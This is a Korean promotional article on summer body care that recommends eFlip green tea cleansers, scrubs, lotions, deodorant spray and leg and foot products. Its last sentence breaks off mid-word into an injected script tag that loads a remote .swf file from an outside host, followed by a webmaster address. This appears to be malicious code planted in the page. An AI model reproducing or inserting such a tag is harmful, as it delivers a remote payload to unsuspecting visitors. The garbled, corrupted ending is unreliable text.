피부 노폐물을 깔끔히 없애주는 바디케어의 첫 단계는 꼼꼼한 세정에 있다. 편안한 마음으로 머리부터 발끝까지 잘 다듬는다는 기분으로 씻다보면 어느새 여름 더위는 물러가고 상쾌함을 느끼게 된다.
여름을 겨냥해 출시된 이플립 그린티 바디워시의 싱그러운 자연의 그린티 향취와 녹차 추출 성분으로 유해환경에 노출되어 있는 몸과 마음을 맑고 깨끗하게 정화시켜 주자. 피부미용에 효과적인 녹차 성분은 피부 트러블 예방은 물론 몸냄새 제거에도 탁월한 효과가 있다.
매일 샤워로 청결을 유지하는 것도 중요하지만 매끄러운 피부결을 위해서는 무엇보다 효과적인 각질제거가 중요하다. 묵은 각질이 제때 빨리 떨어져 나가지 못하면 피부가 거칠어지고 피부결이 고르지 못하게 된다. 그러나 거친 목욕타월로 각질을 제거하는 것은 정상적인 각질층을 손상시키기 때문에 바람직하지 못한 방법. 1주일에 1∼2번 이플립 그린티 바디 스크럽을 이용해 자극없이 부드럽게 불필요한 각질만 제거하는 것이 좋다. 특히 선탠을 많이 하는 여름에는, 선탠 전에 바디 스크럽을 이용 각질층을 정돈해주면 고르고 예쁜 선탠 피부를 갖게 된다.
△2단계-로션과 프래그런스로 촉촉하게!
여름에는 땀과 피지의 분비가 많아져 건조함을 직접적으로 느끼지 못하므로 보습에 소홀하기 쉽다. 땀은 99%의 수분, 1%의 젖산과 염분으로 구성되어 있는데, 이 젖산과 염분이 피부표면에 남아 피부를 건조하게 만드는 주원인이다. 게다가 냉방 속의 장시간 피부 노출과 잦은 샤워로 인해 피부는 더욱 건조해진다. 따라서 세심하고 꾸준한 보습케어를 해줘야 피부의 유분과 수분을 적절히 유지할 수 있고 촉촉하고 탄력 있는 피부로 가꿀 수 있다. 이플립 그린티 바디로션은 녹차 추출 성분이 함유되어 피부를 맑고 투명하게 가꿔주며 바르는 순간 느껴지는 청량감이 피부에 촉촉함을 부여한다. 또한 파우더 성분이 땀을 흡수해 피부를 보송보송하고 깔끔하게 마무리해주는 바디로션이다.
나만의 향긋하고 편안한 분위기를 연출해 목욕의 상쾌함을 2배로 느끼고 싶거나 짜증나는 여름날 은은한 향으로 타인에게 깔끔한 자신의 이미지를 표현하고자 한다면 그린티 바디 프래그런스를 사용해보자. 푸르른 자연의 그린티 향취가 몸과 마음을 맑게 정화시켜 주는 바디 프래그런스는 후레쉬 그린 플로럴 계열의 향이 맑고 깨끗한 자연의 이미지를 연상시키는 제품이다.
땀분비가 많은 여름철, 겨드랑이의 불쾌한 땀냄새를 커버해주는 겨드랑이 전용 프레시 파우더 스프레이 사용은 여름철 에티켓. 청정효과가 우수한 솔눈 추출물이 함유돼 겨드랑이를 깔끔하게 해주며 파우더 성분이 보송보송하게 마무리해준다. 한손에 쏙 들어오는 80ml의 가느다란 원통형 용기로 사용 및 휴대가 간편하다.
△3단계-조금만 신경쓰자 레그와 풋케어
하루종일 체중을 지탱하고 있는 다리는 심장에서 멀리 떨어져 있어서 혈액순환이 느리고 쉽게 피곤해진다. 다리에 혈액 순환이 나빠지면 노폐물이나 여분의 수분이 쌓여 지방이 생기고 그에 따라 종아리는 굵어지기 쉽다.
하지만 적절한 케어와 운동에 따라 얼마든지 아름답게 가꿀 수 있는 부위가 다리이다. 시원한 얼음 찜질은 다리의 근육 뭉침을 풀어주고 혈행을 촉진시켜 지친 다리의 피로를 해소하고 활력을 되찾아 준다.
또한 이플립 레그 리프레싱 젤 같은 다리의 피로를 풀어주는 전용제품을 이용하여 수시로 바르면서 간단한 마사지를 병행하면 탄력있는 각선미를 뽐낼 수 있다.
여름철 발은 구두로 공간이 밀폐되어 있고 온도가 높아져 세균 번식이 활성화돼 심한 발냄새를 풍긴다. 따라서 땀을 흡수하지 않는 스타킹보다는 양말을 사용하고 신발을 자주 갈아 신고 통풍이 잘되는 곳에 보관한다. 무엇보다도 발을 항상 청결하고 건조하게 유지하도록 하는 것이 관건이다.
풋 앤 힐 소프트닝 크림을 이용해 저녁에 잠깐의 마사지 케어로 피로를 풀어준다면 하루종일 전신의 개?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
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